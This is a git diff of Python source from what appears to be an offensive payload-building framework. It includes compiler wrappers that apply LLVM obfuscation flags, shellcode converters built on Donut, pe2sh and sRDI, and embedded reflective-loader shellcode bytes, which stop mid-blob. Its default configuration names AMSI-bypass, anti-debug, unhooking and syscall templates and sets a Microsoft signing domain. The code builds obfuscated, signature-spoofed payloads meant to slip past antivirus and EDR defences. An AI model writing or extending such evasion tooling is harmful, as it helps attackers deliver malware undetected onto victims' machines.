"/Zc:inline": None,
|
||||
"/Zc:wchar_t": None,
|
||||
"/fp": "precise",
|
||||
"/D \"NDEBUG\"": None,
|
||||
"/D \"_CONSOLE\"": None,
|
||||
"/D \"_UNICODE\"": None,
|
||||
"/D \"UNICODE\"": None,
|
||||
"/errorReport": "prompt",
|
||||
"/WX-": None,
|
||||
"/Zc": "forScope",
|
||||
"/Gd": None,
|
||||
"/Oi": None,
|
||||
"/MD": None,
|
||||
"/FC": None,
|
||||
"/EHsc": None,
|
||||
"/nologo": None,
|
||||
"/diagnostics": "column",
|
||||
"-w": None,
|
||||
f'-o "{outfile}"': None
|
||||
}
|
||||
self.args = default_cl_args
|
||||
|
||||
def default_obj_args(self, outfile):
|
||||
self.args = {
|
||||
"/permissive-": None,
|
||||
"/GS": None,
|
||||
"/GL": None,
|
||||
"/W3": None,
|
||||
"/Gy": None,
|
||||
"/Zi": None,
|
||||
"/Gm-": None,
|
||||
"/O2": None,
|
||||
"/sdl": None,
|
||||
"/Zc:inline": None,
|
||||
"/Zc:wchar_t": None,
|
||||
"/fp": "precise",
|
||||
"/D \"BUILD_DLL\"": None,
|
||||
"/D \"NDEBUG\"": None,
|
||||
"/D \"SAGAT_EXPORTS\"": None,
|
||||
"/D \"_WINDOWS\"": None,
|
||||
"/D \"_WINDLL\"": None,
|
||||
"/D \"_USRDLL\"": None,
|
||||
"/D \"_UNICODE\"": None,
|
||||
"/D \"UNICODE\"": None,
|
||||
"/errorReport": "prompt",
|
||||
"/WX-": None,
|
||||
"/Zc": "forScope",
|
||||
"/Gd": None,
|
||||
"/Oi": None,
|
||||
"/MD": None,
|
||||
"/FC": None,
|
||||
"/EHsc": None,
|
||||
"/nologo": None,
|
||||
"/diagnostics": "column",
|
||||
"/LD": None,
|
||||
"/c": None,
|
||||
f'/Fo"{outfile}"': None
|
||||
|
||||
}
|
||||
|
||||
def add_include_directory(self, directory):
|
||||
self.args[f'/I "{directory}"'] = None
|
||||
|
||||
def set_libraries(self, libs: list):
|
||||
self.set_linker_options(libraries=libs)
|
||||
|
||||
def set_linker_options(self, outfile=None, libraries: list = None):
|
||||
self.aargs = f'/link /DYNAMICBASE {self.format_libraries(libraries=libraries)}'
|
||||
if outfile:
|
||||
self.aargs += f' /OUT "{outfile}"'
|
||||
|
|
@ -0,0 +1,84 @@
|
|||
import os
|
||||
import re
|
||||
import subprocess
|
||||
import sys
|
||||
import traceback
|
||||
from abc import ABC, abstractmethod
|
||||
from pydoc import locate
|
||||
|
||||
from config.Config import Config
|
||||
|
||||
|
||||
class CompilerException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class Compiler(ABC):
|
||||
|
||||
def __init__(self, path: str = None, args: dict = None, sep=":", aargs=None, arch="x64"):
|
||||
self.name = self.__class__.__name__.upper().replace("COMPILER", "")
|
||||
self.arch = arch
|
||||
if arch == "anycpu":
|
||||
arch = "x86"
|
||||
if path:
|
||||
self.path = path
|
||||
else:
|
||||
self.path = Config().get("COMPILERS", f"{self.name}{arch}_COMPILER")
|
||||
self.prefix_cmd = None
|
||||
self.suffix_cmd = None
|
||||
self.args = args if args else {}
|
||||
self.aargs = ""
|
||||
self.sep = sep
|
||||
if aargs:
|
||||
self.aargs = aargs
|
||||
|
||||
@abstractmethod
|
||||
def set_libraries(self, libs: list):
|
||||
pass
|
||||
|
||||
@abstractmethod
|
||||
def add_include_directory(self, directory):
|
||||
pass
|
||||
|
||||
def compile(self, files: list):
|
||||
file_arg = ""
|
||||
for file in files:
|
||||
if not os.path.isfile(file):
|
||||
print(f"[-] Compiler: File {file} not found")
|
||||
else:
|
||||
file_arg += f" \"{file}\""
|
||||
try:
|
||||
args = ""
|
||||
for k in self.args.keys():
|
||||
args += f" {k}{self.sep}{self.args[k]}" if self.args[k] is not None else f" {k}"
|
||||
cmd = f"\"{self.path}\" {args} {file_arg}"
|
||||
if self.aargs:
|
||||
cmd = f"{cmd} {self.aargs}"
|
||||
if self.prefix_cmd:
|
||||
cmd = f"{self.prefix_cmd} & {cmd}"
|
||||
if self.suffix_cmd:
|
||||
cmd = f"{cmd} & {self.suffix_cmd}"
|
||||
if Config().get_boolean("DEBUG", "COMPILERS"):
|
||||
print(cmd)
|
||||
output = subprocess.check_output(cmd)
|
||||
# print(output.decode())
|
||||
except subprocess.CalledProcessError as e:
|
||||
for line in e.output.decode().split("\n"):
|
||||
if re.search(r"error", line):
|
||||
print(f" [-] Error: {line}")
|
||||
raise Exception("Compiler Error")
|
||||
return False
|
||||
return True
|
||||
|
||||
@staticmethod
|
||||
def from_name(name: str, args=None, aargs=None, arch="x64"):
|
||||
try:
|
||||
obfuscator_class_string = f"compilers.{name.capitalize()}Compiler.{name.capitalize()}Compiler"
|
||||
# print(obfuscator_class_string)
|
||||
obfuscator_class = locate(obfuscator_class_string)
|
||||
# print(obfuscator_class)
|
||||
obfuscator_instance = obfuscator_class(args=args, aargs=aargs, arch=arch)
|
||||
return obfuscator_instance
|
||||
except:
|
||||
traceback.print_exc()
|
||||
pass
|
|
@ -0,0 +1,43 @@
|
|||
from compilers.Compiler import Compiler
|
||||
from config.Config import Config
|
||||
|
||||
|
||||
class CscCompiler(Compiler):
|
||||
|
||||
def add_include_directory(self, directory):
|
||||
pass
|
||||
|
||||
def __init__(self, args=None, aargs=None, arch="x64"):
|
||||
self.config = Config()
|
||||
super().__init__(None, args=args, aargs=aargs, sep=":", arch=arch)
|
||||
if not self.args:
|
||||
self.args = {}
|
||||
|
||||
def default_exe_args(self, outfile):
|
||||
self.args = {
|
||||
"/platform": self.arch,
|
||||
"/unsafe": None,
|
||||
"/out": f'"{outfile}"'
|
||||
}
|
||||
|
||||
def default_dll_args(self, outfile):
|
||||
self.args = {
|
||||
"/target": "library",
|
||||
"/platform": self.arch,
|
||||
"/unsafe": None,
|
||||
"/out": f'"{outfile}"'
|
||||
}
|
||||
# "/optimize-": None,
|
||||
|
||||
def set_outfile(self, outfile):
|
||||
self.args["/out"] = f'"{outfile}"'
|
||||
|
||||
def set_architecture(self, arch):
|
||||
self.args["/platform"] = arch
|
||||
|
||||
def set_libraries(self, libs: list):
|
||||
if len(libs) > 0:
|
||||
for lib in libs:
|
||||
self.args[f'/res:"{lib}"'] = None
|
||||
self.args["/r"] = ",".join([f'"{lib}"' for lib in libs])
|
||||
|
|
@ -0,0 +1,19 @@
|
|||
import os
|
||||
|
||||
from compilers.Compiler import Compiler
|
||||
from config.Config import Config
|
||||
from utils.utils import *
|
||||
|
||||
|
||||
class ILPacker(Compiler):
|
||||
def add_include_directory(self, directory):
|
||||
pass
|
||||
|
||||
def __init__(self, args=None, aargs=None):
|
||||
path = str(Config().get_path("DIRECTORIES", "libs").joinpath("ILRepack.exe"))
|
||||
if not os.path.isfile(path):
|
||||
raise FileNotFoundError("Missing Packer Executable")
|
||||
super().__init__(path, args=args, aargs=aargs, sep=":")
|
||||
|
||||
def set_libraries(self, libs: list):
|
||||
pass
|
|
@ -0,0 +1,23 @@
|
|||
import os
|
||||
import re
|
||||
import subprocess
|
||||
|
||||
from compilers.Compiler import Compiler
|
||||
from config.Config import Config
|
||||
|
||||
|
||||
class LibCompiler(Compiler):
|
||||
|
||||
def __init__(self, args=None, aargs=None, arch="x64"):
|
||||
super().__init__(None, args=args, aargs=aargs, sep=":", arch=arch)
|
||||
|
||||
def default_args(self, outfile):
|
||||
self.args = {
|
||||
'/OUT': f"\"{outfile}\""
|
||||
}
|
||||
|
||||
def add_include_directory(self, directory):
|
||||
pass
|
||||
|
||||
def set_libraries(self, libs: list):
|
||||
pass
|
|
@ -0,0 +1,131 @@
|
|||
import os
|
||||
import re
|
||||
import secrets
|
||||
import subprocess
|
||||
|
||||
from compilers.Compiler import Compiler
|
||||
from config.Config import Config
|
||||
|
||||
|
||||
class LlvmCompiler(Compiler):
|
||||
|
||||
def __init__(self, args=None, aargs=None, arch="x64"):
|
||||
self.config = Config()
|
||||
self.vcvarsall = self.config.get_path("COMPILERS", "VCVARSALL")
|
||||
super().__init__(None, args=args, aargs=aargs, sep=":", arch=arch)
|
||||
self.prefix_cmd = f'"{self.vcvarsall}" {self.arch}'
|
||||
|
||||
def format_libraries(self, libraries: list = None):
|
||||
if not libraries or not isinstance(libraries, list):
|
||||
libraries = []
|
||||
libraries = libraries + self.std_library()
|
||||
return " ".join([f'"{lib}"' for lib in libraries])
|
||||
|
||||
def std_library(self):
|
||||
return ["kernel32.lib",
|
||||
"user32.lib",
|
||||
"gdi32.lib",
|
||||
"winspool.lib",
|
||||
"comdlg32.lib",
|
||||
"advapi32.lib",
|
||||
"shell32.lib",
|
||||
"ole32.lib",
|
||||
"oleaut32.lib",
|
||||
"uuid.lib",
|
||||
"odbc32.lib",
|
||||
"odbccp32.lib"]
|
||||
|
||||
def default_dll_args(self, outfile):
|
||||
default_cl_args = {
|
||||
"/permissive-": None,
|
||||
"/GS": None,
|
||||
"/GL": None,
|
||||
"/W3": None,
|
||||
"/Gy": None,
|
||||
"/Zi": None,
|
||||
"/Gm-": None,
|
||||
"/O2": None,
|
||||
"/sdl": None,
|
||||
"/Zc:inline": None,
|
||||
"/Zc:wchar_t": None,
|
||||
"/fp": "precise",
|
||||
"/D \"BUILD_DLL\"": None,
|
||||
"/D \"NDEBUG\"": None,
|
||||
"/D \"SAGAT_EXPORTS\"": None,
|
||||
"/D \"_WINDOWS\"": None,
|
||||
"/D \"_WINDLL\"": None,
|
||||
"/D \"_USRDLL\"": None,
|
||||
"/D \"_UNICODE\"": None,
|
||||
"/D \"UNICODE\"": None,
|
||||
"/errorReport": "prompt",
|
||||
"/WX-": None,
|
||||
"/Zc": "forScope",
|
||||
"/Gd": None,
|
||||
"/Oi": None,
|
||||
"/MD": None,
|
||||
"/FC": None,
|
||||
"/EHsc": None,
|
||||
"/nologo": None,
|
||||
"/diagnostics": "column",
|
||||
"/LD": None,
|
||||
f'-o "{outfile}"': None
|
||||
}
|
||||
self.args = {**default_cl_args, **self.llvm_args()}
|
||||
|
||||
def default_exe_args(self, outfile):
|
||||
default_cl_args = {
|
||||
"/permissive-": None,
|
||||
"/GS": None,
|
||||
"/GL": None,
|
||||
"/W3": None,
|
||||
"/Gy": None,
|
||||
"/Zi": None,
|
||||
"/Gm-": None,
|
||||
"/O2": None,
|
||||
"/sdl": None,
|
||||
"/Zc:inline": None,
|
||||
"/Zc:wchar_t": None,
|
||||
"/fp": "precise",
|
||||
"/D \"NDEBUG\"": None,
|
||||
"/D \"_CONSOLE\"": None,
|
||||
"/D \"_UNICODE\"": None,
|
||||
"/D \"UNICODE\"": None,
|
||||
"/errorReport": "prompt",
|
||||
"/WX-": None,
|
||||
"/Zc": "forScope",
|
||||
"/Gd": None,
|
||||
"/Oi": None,
|
||||
"/MD": None,
|
||||
"/FC": None,
|
||||
"/EHsc": None,
|
||||
"/nologo": None,
|
||||
"/diagnostics": "column",
|
||||
f'-o "{outfile}"': None
|
||||
}
|
||||
self.args = {**default_cl_args, **self.llvm_args()}
|
||||
|
||||
def add_include_directory(self, directory):
|
||||
self.args[f'/I "{directory}"'] = None
|
||||
|
||||
def set_libraries(self, libs: list):
|
||||
self.set_linker_options(libraries=libs)
|
||||
|
||||
def set_linker_options(self, outfile=None, libraries: list = None):
|
||||
self.aargs = f'/link /DYNAMICBASE {self.format_libraries(libraries=libraries)}'
|
||||
if outfile:
|
||||
self.aargs += f' /OUT "{outfile}"'
|
||||
|
||||
def llvm_args(self):
|
||||
return {
|
||||
"/D __CUDACC__": None,
|
||||
"/D _ALLOW_COMPILER_AND_STL_VERSION_MISMATCH": None,
|
||||
"-mllvm -bcf": None,
|
||||
"-mllvm -bcf_prob=73": None,
|
||||
"-mllvm -bcf_loop=1": None,
|
||||
"-mllvm -sub": None,
|
||||
"-mllvm -sub_loop=5": None,
|
||||
"-mllvm -fla": None,
|
||||
"-mllvm -split_num=5": None,
|
||||
f"-mllvm -aesSeed={secrets.token_hex(16)}": None,
|
||||
"-w": None
|
||||
}
|
|
@ -0,0 +1,31 @@
|
|||
import os
|
||||
import re
|
||||
import subprocess
|
||||
|
||||
from compilers.Compiler import Compiler
|
||||
from config.Config import Config
|
||||
|
||||
|
||||
class MasmCompiler(Compiler):
|
||||
|
||||
def __init__(self, args=None, aargs=None, arch="x64"):
|
||||
# self.vcvarsall = self.config.get_path("COMPILERS", "VCVARSALL")
|
||||
super().__init__(None, args=args, aargs=aargs, sep=":", arch=arch)
|
||||
# self.prefix_cmd = f'"{self.vcvarsall}" {self.arch}'
|
||||
|
||||
def default_args(self, outfile):
|
||||
self.args = {
|
||||
"/c": None,
|
||||
"/nologo": None,
|
||||
"/Zi": None,
|
||||
f'/Fo"{outfile}"': None,
|
||||
"/W3": None,
|
||||
"/errorReport": "prompt",
|
||||
"/Ta": None
|
||||
}
|
||||
|
||||
def add_include_directory(self, directory):
|
||||
self.args[f"/I\"{directory}\""] = None
|
||||
|
||||
def set_libraries(self, libs: list):
|
||||
pass
|
|
@ -0,0 +1 @@
|
|||
config.ini
|
|
@ -0,0 +1,196 @@
|
|||
import configparser
|
||||
import os
|
||||
import traceback
|
||||
from pathlib import Path
|
||||
|
||||
from utils.utils import get_project_root
|
||||
|
||||
|
||||
class Config(object):
|
||||
def __init__(self, auto_load: bool = True, create_env: bool = True):
|
||||
self.config = configparser.ConfigParser(allow_no_value=True, interpolation=configparser.ExtendedInterpolation())
|
||||
self.file = os.path.join(get_project_root(), "config", "config.ini")
|
||||
if auto_load:
|
||||
self.load_config()
|
||||
if create_env:
|
||||
self.rebase()
|
||||
|
||||
def load_config(self, filename=None):
|
||||
if filename:
|
||||
self.file = Path(filename).absolute()
|
||||
try:
|
||||
self.config.read(self.file)
|
||||
except FileNotFoundError:
|
||||
print("The file specified does not exists")
|
||||
self.write_default()
|
||||
except configparser.ParsingError:
|
||||
print("Error encountered while parsing, check configuration file syntax")
|
||||
except Exception as e:
|
||||
print("Unhandled exception, contact support")
|
||||
print(f"Exception : {e}")
|
||||
|
||||
def save_config(self):
|
||||
with open(self.file, 'w') as configfile:
|
||||
self.config.write(configfile)
|
||||
|
||||
def rebase(self):
|
||||
no_rebase = ["", "csharp", "cpp", "powershell", "nodebug"]
|
||||
for key, directory in self.config["DIRECTORIES"].items():
|
||||
if directory and directory not in no_rebase:
|
||||
p = Path(os.path.join(get_project_root(), directory))
|
||||
p.mkdir(parents=True, exist_ok=True)
|
||||
return self
|
||||
|
||||
def get_config(self):
|
||||
return self.config
|
||||
|
||||
def get_section(self, s):
|
||||
return self.config[s]
|
||||
|
||||
def get_boolean(self, section, key):
|
||||
try:
|
||||
debug = int(self.get(section, key))
|
||||
return debug == 1
|
||||
except KeyError:
|
||||
return False
|
||||
except ValueError:
|
||||
return False
|
||||
except TypeError:
|
||||
return False
|
||||
except Exception as e:
|
||||
raise e
|
||||
|
||||
def get_int(self, section, key):
|
||||
try:
|
||||
return int(self.get(section, key))
|
||||
except KeyError:
|
||||
return False
|
||||
except ValueError:
|
||||
return False
|
||||
except TypeError:
|
||||
return False
|
||||
except Exception as e:
|
||||
raise e
|
||||
|
||||
def get_path(self, section, key):
|
||||
try:
|
||||
_path = Path(os.path.join(get_project_root(), self.get(section, key))).absolute()
|
||||
return _path
|
||||
except KeyError:
|
||||
return None
|
||||
except ValueError:
|
||||
return None
|
||||
except TypeError:
|
||||
return None
|
||||
except Exception as e:
|
||||
raise e
|
||||
|
||||
def get_list(self, section, key):
|
||||
try:
|
||||
return [x.strip().encode() for x in self.get(section, key).split(",")]
|
||||
except KeyError:
|
||||
return None
|
||||
except ValueError:
|
||||
return None
|
||||
except TypeError:
|
||||
return None
|
||||
except Exception as e:
|
||||
raise e
|
||||
|
||||
def get(self, s, v):
|
||||
try:
|
||||
return self.config[s][v]
|
||||
except KeyError:
|
||||
return None
|
||||
|
||||
def set(self, s, v, new_value):
|
||||
self.config[s][v] = new_value
|
||||
|
||||
def test(self):
|
||||
print(self.get("PLACEHOLDERS", "SHELLCODE"))
|
||||
|
||||
def write_default(self):
|
||||
with open(self.file, "w") as default:
|
||||
default.write(r"""[COMPILERS]
|
||||
vcvarsall =
|
||||
clx86_compiler =
|
||||
clx64_compiler =
|
||||
masmx86_compiler =
|
||||
masmx64_compiler =
|
||||
cscx86_compiler =
|
||||
cscx64_compiler =
|
||||
clangx86_compiler =
|
||||
clangx64_compiler =
|
||||
llvmx86_compiler =
|
||||
llvmx64_compiler =
|
||||
msbuildx86_compiler =
|
||||
msbuildx64_compiler =
|
||||
libx64_compiler =
|
||||
libx86_compiler =
|
||||
|
||||
[SIGNERS]
|
||||
signtool_x86 =
|
||||
signtool_x64 =
|
||||
|
||||
[DUMPERS]
|
||||
dumpbin_x86 =
|
||||
dumpbin_x64 =
|
||||
|
||||
[DIRECTORIES]
|
||||
artifacts = artifacts
|
||||
templates = templates\${MISC:release}
|
||||
bypass = ${TEMPLATES}\amsi
|
||||
antidebug = nodebug
|
||||
powershell = ${TEMPLATES}\powershell
|
||||
writer = temp
|
||||
certificates = certs
|
||||
native = ${TEMPLATES}\cpp
|
||||
dotnet = ${TEMPLATES}\csharp
|
||||
test = ${TEMPLATES}\testers
|
||||
dll = ${TEMPLATES}\cpp\code_execution
|
||||
obfuscators = obfuscators
|
||||
syscalls = syscalls
|
||||
syscalls_x86 = syscalls\syswhispersv2_x86\x86
|
||||
encoders = encoders\implementations\${MISC:release}
|
||||
libs = libs\public
|
||||
modules = engine\modules
|
||||
|
||||
[OBFUSCATORS]
|
||||
powershell = ${DIRECTORIES:obfuscators}\powershell
|
||||
dotnet = ${DIRECTORIES:obfuscators}\dotnet
|
||||
native = ${DIRECTORIES:obfuscators}\native
|
||||
|
||||
[SIGNING]
|
||||
domain = www.microsoft.com
|
||||
|
||||
[PLACEHOLDERS]
|
||||
shellcode = ####SHELLCODE####
|
||||
code = //####CODE####
|
||||
call = //####CALL####
|
||||
using = //####USING####
|
||||
define = //####DEFINE####
|
||||
bypass = //####BYPASS####
|
||||
antidebug = //####ANTIDEBUG####
|
||||
unhook = //####UNHOOK####
|
||||
args = //####ARGS####
|
||||
delay = //####DELAY####
|
||||
find_process = //####FIND_PROCESS####
|
||||
shellcode_variable = encoded
|
||||
|
||||
[SYSCALLS]
|
||||
syswhispers = 2
|
||||
|
||||
[MISC]
|
||||
logo = 3
|
||||
bypass_mode = 100
|
||||
release = public
|
||||
|
||||
[DEBUG]
|
||||
compilers = 0
|
||||
syswhispers = 0
|
||||
""")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
c = Config()
|
||||
c.test()
|
|
@ -0,0 +1,54 @@
|
|||
import re
|
||||
|
||||
from config.Config import Config
|
||||
from converters.Transformer import Transformer
|
||||
from utils.console import Console
|
||||
from utils.utils import *
|
||||
|
||||
|
||||
class Donut(Transformer):
|
||||
def __init__(self):
|
||||
self.donut = str(Config().get_path("DIRECTORIES", "libs").joinpath("donut.exe"))
|
||||
self.args = "-e3 -a2 -b1 "
|
||||
super().__init__()
|
||||
self.filetype = "exe"
|
||||
self.output_path = Config().get_path("DIRECTORIES", "writer")
|
||||
self.output_file_ext = "bin"
|
||||
self.debug = Config().get_boolean("DEBUG", "LOADERS")
|
||||
|
||||
def transform(self, target):
|
||||
if not os.path.isfile(target):
|
||||
print(f"[-] File not found: {target}")
|
||||
sys.exit(1)
|
||||
filename = os.path.basename(os.path.splitext(target)[0])
|
||||
target = Path(target).absolute()
|
||||
converted = str(self.output_path.joinpath(f"{filename}.{self.output_file_ext}"))
|
||||
try:
|
||||
cmd = f'"{self.donut}" {self.args} -f1 "{target}" -o "{converted}"'
|
||||
if self.debug:
|
||||
Console.auto_line(f" [>] Donut cmdline: {cmd}")
|
||||
output = subprocess.check_output(cmd)
|
||||
except subprocess.CalledProcessError as e:
|
||||
output = e.output
|
||||
Console.fail_line(output.decode())
|
||||
mark = re.compile(r'\s*Shellcode\s*:')
|
||||
if not re.search(mark, output.decode()):
|
||||
Console.auto_line(f"[-] Failed to convert {target}")
|
||||
sys.exit(1)
|
||||
if not os.path.isfile(converted):
|
||||
Console.auto_line(f"[-] Failed to locate converted file: {converted}")
|
||||
sys.exit(1)
|
||||
with open(converted, "rb") as donut:
|
||||
return donut.read()
|
||||
|
||||
def add_parameters(self, params):
|
||||
if params:
|
||||
self.args += f'-p "{params}"'
|
||||
|
||||
def set_architecture(self, arch="x64", tool_arch=None):
|
||||
if arch == "x86" or tool_arch == "x86":
|
||||
self.args += "-a1 "
|
||||
if arch == "x64" or tool_arch == "x64":
|
||||
self.args += "-a2 "
|
||||
elif arch == "anycpu" and not tool_arch:
|
||||
self.args += "-a3 "
|
|
@ -0,0 +1,17 @@
|
|||
import base64
|
||||
import os
|
||||
import re
|
||||
import subprocess
|
||||
import sys
|
||||
|
||||
from converters.Transformer import Transformer
|
||||
|
||||
|
||||
class Loader(Transformer):
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.filetype = "raw"
|
||||
|
||||
def transform(self, target):
|
||||
with open(target, 'rb') as content:
|
||||
return content.read()
|
|
@ -0,0 +1,41 @@
|
|||
import base64
|
||||
import os
|
||||
import re
|
||||
import subprocess
|
||||
import sys
|
||||
|
||||
from config.Config import Config
|
||||
from converters.Transformer import Transformer
|
||||
from utils.console import Console
|
||||
from utils.utils import *
|
||||
|
||||
|
||||
class Pe2sh(Transformer):
|
||||
def __init__(self):
|
||||
self.pe2sh = str(Config().get_path("DIRECTORIES", "libs").joinpath("pe2sh.exe"))
|
||||
self.output_path = Config().get_path("DIRECTORIES", "writer")
|
||||
super().__init__()
|
||||
self.filetype = "exe"
|
||||
|
||||
def transform(self, target):
|
||||
if not os.path.isfile(target):
|
||||
print(f"[-] File not found: {target}")
|
||||
sys.exit(1)
|
||||
target_file_name, target_file_ext = os.path.splitext(target)
|
||||
outfile = str(self.output_path.joinpath(os.path.basename(target_file_name)))
|
||||
try:
|
||||
output = subprocess.check_output(f'"{self.pe2sh}" "{target}" "{outfile}.shc{target_file_ext}"')
|
||||
except subprocess.CalledProcessError as e:
|
||||
output = e.output
|
||||
Console.fail_line(output.decode())
|
||||
if re.search(rb"\[WARNING\]", output):
|
||||
Console.warn_line(" " + re.search(rb"\[WARNING\].*", output)[0].decode().strip())
|
||||
Console.warn_line(f" [WARNING] {target.split(chr(92))[-1]} may not work in .NET")
|
||||
if not re.search(rb"\[\+\]\sSaved\sas\:", output):
|
||||
Console.auto_line(f"[-] Failed to convert {target}")
|
||||
sys.exit(1)
|
||||
converted = f"{target_file_name}.shc{target_file_ext}"
|
||||
if not os.path.isfile(converted):
|
||||
Console.auto_line(f"[-] Failed to locate converted file: {converted}")
|
||||
sys.exit(1)
|
||||
return bin2hex4pe2sh(converted)
|
|
@ -0,0 +1,20 @@
|
|||
import base64
|
||||
import os
|
||||
import re
|
||||
import subprocess
|
||||
import sys
|
||||
from abc import ABC, abstractmethod
|
||||
|
||||
|
||||
class Transformer(ABC):
|
||||
|
||||
def __init__(self):
|
||||
super(Transformer, self).__init__()
|
||||
self.filetype = None
|
||||
|
||||
@abstractmethod
|
||||
def transform(self, target):
|
||||
pass
|
||||
|
||||
def set_architecture(self, arch="x64"):
|
||||
pass
|
|
@ -0,0 +1,53 @@
|
|||
import os
|
||||
|
||||
from converters import Transformer
|
||||
from converters.Donut import Donut
|
||||
from converters.Loader import Loader
|
||||
from converters.Pe2Shellcode import Pe2sh
|
||||
from converters.sRDI import sRDI
|
||||
from utils.utils import isDotNet
|
||||
|
||||
|
||||
class TransformerFactory:
|
||||
|
||||
@staticmethod
|
||||
def allowed(file) -> list:
|
||||
filename, ext = os.path.splitext(file)
|
||||
allowed_list = []
|
||||
if ext == ".exe":
|
||||
if isDotNet(file):
|
||||
allowed_list = [Loader, Donut]
|
||||
else:
|
||||
allowed_list = [Loader, Pe2sh, Donut]
|
||||
elif ext == ".dll":
|
||||
allowed_list = [sRDI]
|
||||
if ext == ".raw":
|
||||
allowed_list = [Loader]
|
||||
return [c().__class__.__name__.lower() for c in allowed_list]
|
||||
|
||||
@staticmethod
|
||||
def from_file(file) -> Transformer:
|
||||
filename, ext = os.path.splitext(file)
|
||||
if ext == ".exe":
|
||||
if isDotNet(file):
|
||||
return Donut()
|
||||
else:
|
||||
return Pe2sh()
|
||||
elif ext == ".dll":
|
||||
return sRDI()
|
||||
if ext == ".raw":
|
||||
return Loader()
|
||||
|
||||
@staticmethod
|
||||
def from_name(name) -> Transformer:
|
||||
if name == "loader":
|
||||
clazz = Loader
|
||||
elif name == "srdi":
|
||||
clazz = sRDI
|
||||
elif name == "pe2sh":
|
||||
clazz = Pe2sh
|
||||
elif name == "donut":
|
||||
clazz = Donut
|
||||
else:
|
||||
raise NotImplementedError(f"No transformer for class {name}")
|
||||
return clazz()
|
|
@ -0,0 +1,496 @@
|
|||
import base64
|
||||
import struct
|
||||
|
||||
from converters.Transformer import Transformer
|
||||
|
||||
|
||||
class sRDI(Transformer):
|
||||
MACHINE_IA64 = 512
|
||||
MACHINE_AMD64 = 34404
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.flags = 0 | 0x1 | 0x4 | 30 << 16
|
||||
self.function = "ExecutePayload"
|
||||
self.args = b"test"
|
||||
self.filetype = "dll"
|
||||
|
||||
@staticmethod
|
||||
def is64BitDLL(_bytes):
|
||||
header_offset = struct.unpack("<L", _bytes[60:64])[0]
|
||||
machine = struct.unpack("<H", _bytes[header_offset + 4:header_offset + 4 + 2])[0]
|
||||
if machine == sRDI.MACHINE_IA64 or machine == sRDI.MACHINE_AMD64:
|
||||
return True
|
||||
return False
|
||||
|
||||
@staticmethod
|
||||
def ror(val, r_bits, max_bits):
|
||||
return ((val & (2 ** max_bits - 1)) >> r_bits % max_bits) | \
|
||||
(val << (max_bits - (r_bits % max_bits)) & (2 ** max_bits - 1))
|
||||
|
||||
@staticmethod
|
||||
def HashFunctionName(name, module=None):
|
||||
|
||||
function = name.encode() + b'\x00'
|
||||
|
||||
if module:
|
||||
module = module.upper().encode('UTF-16LE') + b'\x00\x00'
|
||||
|
||||
function_hash = 0
|
||||
|
||||
for b in function:
|
||||
function_hash = sRDI.ror(function_hash, 13, 32)
|
||||
function_hash += b
|
||||
|
||||
module_hash = 0
|
||||
|
||||
for b in module:
|
||||
module_hash = sRDI.ror(module_hash, 13, 32)
|
||||
module_hash += b
|
||||
|
||||
function_hash += module_hash
|
||||
|
||||
if function_hash > 0xFFFFFFFF:
|
||||
function_hash -= 0x100000000
|
||||
|
||||
else:
|
||||
function_hash = 0
|
||||
|
||||
for b in function:
|
||||
function_hash = sRDI.ror(function_hash, 13, 32)
|
||||
function_hash += b
|
||||
|
||||
return function_hash
|
||||
|
||||
@staticmethod
|
||||
def ConvertToShellcode(dll_bytes, function_hash=0x10, user_data=b'None', flags=0):
|
||||
|
||||
# MARKER:S
|
||||
rdi_shellcode32 = b'\x81\xEC\x14\x01\x00\x00\x53\x55\x56\x57\x6A\x6B\x58\x6A\x65\x66\x89\x84\x24\xCC\x00\x00' \
|
||||
b'\x00\x33\xED\x58\x6A\x72\x59\x6A\x6E\x5B\x6A\x6C\x5A\x6A\x33\x66\x89\x84\x24\xCE\x00\x00' \
|
||||
b'\x00\x66\x89\x84\x24\xD4\x00\x00\x00\x58\x6A\x32\x66\x89\x84\x24\xD8\x00\x00\x00\x58\x6A' \
|
||||
b'\x2E\x66\x89\x84\x24\xDA\x00\x00\x00\x58\x6A\x64\x66\x89\x84\x24\xDC\x00\x00\x00\x58\x89' \
|
||||
b'\xAC\x24\xB0\x00\x00\x00\x89\x6C\x24\x34\x89\xAC\x24\xB8\x00\x00\x00\x89\xAC\x24\xC4\x00' \
|
||||
b'\x00\x00\x89\xAC\x24\xB4\x00\x00\x00\x89\xAC\x24\xAC\x00\x00\x00\x89\xAC\x24\xE0\x00\x00' \
|
||||
b'\x00\x66\x89\x8C\x24\xCC\x00\x00\x00\x66\x89\x9C\x24\xCE\x00\x00\x00\x66\x89\x94\x24\xD2' \
|
||||
b'\x00\x00\x00\x66\x89\x84\x24\xDA\x00\x00\x00\x66\x89\x94\x24\xDC\x00\x00\x00\x66\x89\x94' \
|
||||
b'\x24\xDE\x00\x00\x00\xC6\x44\x24\x3C\x53\x88\x54\x24\x3D\x66\xC7\x44\x24\x3E\x65\x65\xC6' \
|
||||
b'\x44\x24\x40\x70\x66\xC7\x44\x24\x50\x4C\x6F\xC6\x44\x24\x52\x61\x88\x44\x24\x53\x66\xC7' \
|
||||
b'\x44\x24\x54\x4C\x69\xC6\x44\x24\x56\x62\x88\x4C\x24\x57\xC6\x44\x24\x58\x61\x88\x4C\x24' \
|
||||
b'\x59\x66\xC7\x44\x24\x5A\x79\x41\x66\xC7\x44\x24\x44\x56\x69\x88\x4C\x24\x46\x66\xC7\x44' \
|
||||
b'\x24\x47\x74\x75\xC6\x44\x24\x49\x61\x88\x54\x24\x4A\xC6\x44\x24\x4B\x41\x88\x54\x24\x4C' \
|
||||
b'\x88\x54\x24\x4D\x66\xC7\x44\x24\x4E\x6F\x63\x66\xC7\x44\x24\x5C\x56\x69\x88\x4C\x24\x5E' \
|
||||
b'\x66\xC7\x44\x24\x5F\x74\x75\xC6\x44\x24\x61\x61\x88\x54\x24\x62\xC6\x44\x24\x63\x50\x88' \
|
||||
b'\x4C\x24\x64\xC7\x44\x24\x65\x6F\x74\x65\x63\xC6\x44\x24\x69\x74\xC6\x84\x24\x94\x00\x00' \
|
||||
b'\x00\x46\x88\x94\x24\x95\x00\x00\x00\xC7\x84\x24\x96\x00\x00\x00\x75\x73\x68\x49\x88\x9C' \
|
||||
b'\x24\x9A\x00\x00\x00\x66\xC7\x84\x24\x9B\x00\x00\x00\x73\x74\x88\x8C\x24\x9D\x00\x00\x00' \
|
||||
